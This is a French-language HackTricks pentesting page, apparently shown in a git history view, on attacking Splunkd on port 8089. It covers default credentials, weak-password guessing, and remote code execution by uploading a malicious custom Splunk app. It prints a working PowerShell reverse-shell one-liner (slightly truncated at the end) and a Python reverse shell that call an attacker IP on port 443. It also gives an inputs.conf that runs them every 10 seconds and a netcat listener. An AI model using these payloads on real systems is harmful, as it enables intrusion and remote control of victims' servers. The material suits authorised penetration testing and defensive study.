hacktricks/network-services-pentesting/8089-splunkd.md

135 lines
10 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# 8089 - Test de pénétration de Splunkd
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
</details>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
## **Informations de base**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
**Splunk** est un outil d'analyse de journaux utilisé pour collecter, analyser et visualiser des données. Bien qu'il n'ait pas été initialement conçu pour être un outil SIEM, Splunk est souvent utilisé pour la **surveillance de la sécurité et l'analyse commerciale**. Les déploiements Splunk sont souvent utilisés pour stocker des données sensibles et pourraient fournir une mine d'informations pour un attaquant en cas de compromission.
2020-11-06 00:32:50 +00:00
2023-06-03 13:10:46 +00:00
**Port par défaut :** 8089
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
2023-06-03 13:10:46 +00:00
Le serveur web Splunk fonctionne par défaut sur le port 8000.
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
2023-06-03 13:10:46 +00:00
## Énumération
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
### Version gratuite
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
La version d'essai de Splunk Enterprise se transforme en **version gratuite après 60 jours**, qui **ne nécessite pas d'authentification**. Il n'est pas rare que les administrateurs système installent une version d'essai de Splunk pour la tester, qui est **ensuite oubliée**. Cela se convertira automatiquement en version gratuite qui n'a aucune forme d'authentification, introduisant une faille de sécurité dans l'environnement. Certaines organisations peuvent opter pour la version gratuite en raison de contraintes budgétaires, sans comprendre pleinement les implications de l'absence de gestion des utilisateurs/roles.
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
### Identifiants par défaut
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
Sur les anciennes versions de Splunk, les identifiants par défaut sont **`admin:changeme`**, qui sont commodément affichés sur la page de connexion.\
Cependant, **la dernière version de Splunk** définit **les identifiants** **pendant le processus d'installation**. Si les identifiants par défaut ne fonctionnent pas, il vaut la peine de vérifier les mots de passe faibles courants tels que `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
### Obtenir des informations
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
Une fois connecté à Splunk, nous pouvons **parcourir les données**, exécuter des **rapports**, créer des **tableaux de bord**, **installer des applications** à partir de la bibliothèque Splunkbase et installer des applications personnalisées.\
Vous pouvez également exécuter du code : Splunk a plusieurs façons d'**exécuter du code**, telles que des applications Django côté serveur, des points de terminaison REST, des entrées scriptées et des scripts d'alerte. Une méthode courante pour obtenir une exécution de code à distance sur un serveur Splunk est l'utilisation d'une entrée scriptée.
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
De plus, comme Splunk peut être installé sur des hôtes Windows ou Linux, des entrées scriptées peuvent être créées pour exécuter des scripts Bash, PowerShell ou Batch.
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
* `Splunk build`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
### Créer une application personnalisée
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
Une application personnalisée peut exécuter des scripts **Python, Batch, Bash ou PowerShell**.\
Notez que **Splunk est livré avec Python installé**, donc même dans les systèmes **Windows**, vous pourrez exécuter du code python.
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez utiliser [**ce**](https://github.com/0xjpuff/reverse\_shell\_splunk) package Splunk pour nous aider. Le répertoire **`bin`** dans ce dépôt contient des exemples pour [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) et [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Marchons étape par étape.
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
Pour ce faire, nous devons d'abord créer une application Splunk personnalisée en utilisant la structure de répertoire suivante :
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
2023-06-03 13:10:46 +00:00
Le répertoire **`bin`** contiendra tous les **scripts que nous avons l'intention d'exécuter** (dans ce cas, un shell inversé **PowerShell**), et le répertoire par défaut contiendra notre fichier `inputs.conf`. Notre shell inversé sera une **commande PowerShell en une ligne :**
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
2023-06-03 13:10:46 +00:00
Le fichier [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) indique à Splunk **quel script exécuter** et toutes autres conditions. Ici, nous activons l'application et indiquons à Splunk d'exécuter le script toutes les 10 secondes. L'intervalle est toujours en secondes, et l'entrée (script) ne s'exécutera que si ce paramètre est présent.
2022-10-03 00:11:21 +00:00
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
2023-06-03 13:10:46 +00:00
Nous avons besoin du fichier `.bat`, qui s'exécutera lors du déploiement de l'application et exécutera la commande PowerShell en une ligne.
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
La prochaine étape consiste à choisir `Installer l'application à partir du fichier` et à télécharger l'application.
2022-10-03 00:11:21 +00:00
2022-12-25 19:08:07 +00:00
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
Avant de télécharger l'application personnalisée malveillante, commençons par démarrer un écouteur en utilisant Netcat ou [socat](https://linux.die.net/man/1/socat).
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
2023-06-03 13:10:46 +00:00
Sur la page `Télécharger l'application`, cliquez sur parcourir, choisissez le tarball que nous avons créé précédemment et cliquez sur `Télécharger`. Dès que nous téléchargeons l'application, un shell inversé est reçu et l'état de l'application sera automatiquement basculé sur `Activé`.
2022-10-03 00:11:21 +00:00
#### Linux
2023-06-03 13:10:46 +00:00
Si nous avions affaire à un hôte **Linux**, nous devrions **modifier le script Python `rev.py`** avant de créer le tarball et de télécharger l'application malveillante personnalisée. Le reste du processus serait identique et nous obtiendrions une connexion de shell inversé sur notre écouteur Netcat et nous serions prêts à partir.
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
2023-06-03 13:10:46 +00:00
### RCE & Élévation de privilèges
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
Sur la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut être utilisé de manière abusive pour élever les privilèges et obtenir une persistance :
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
## Références
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>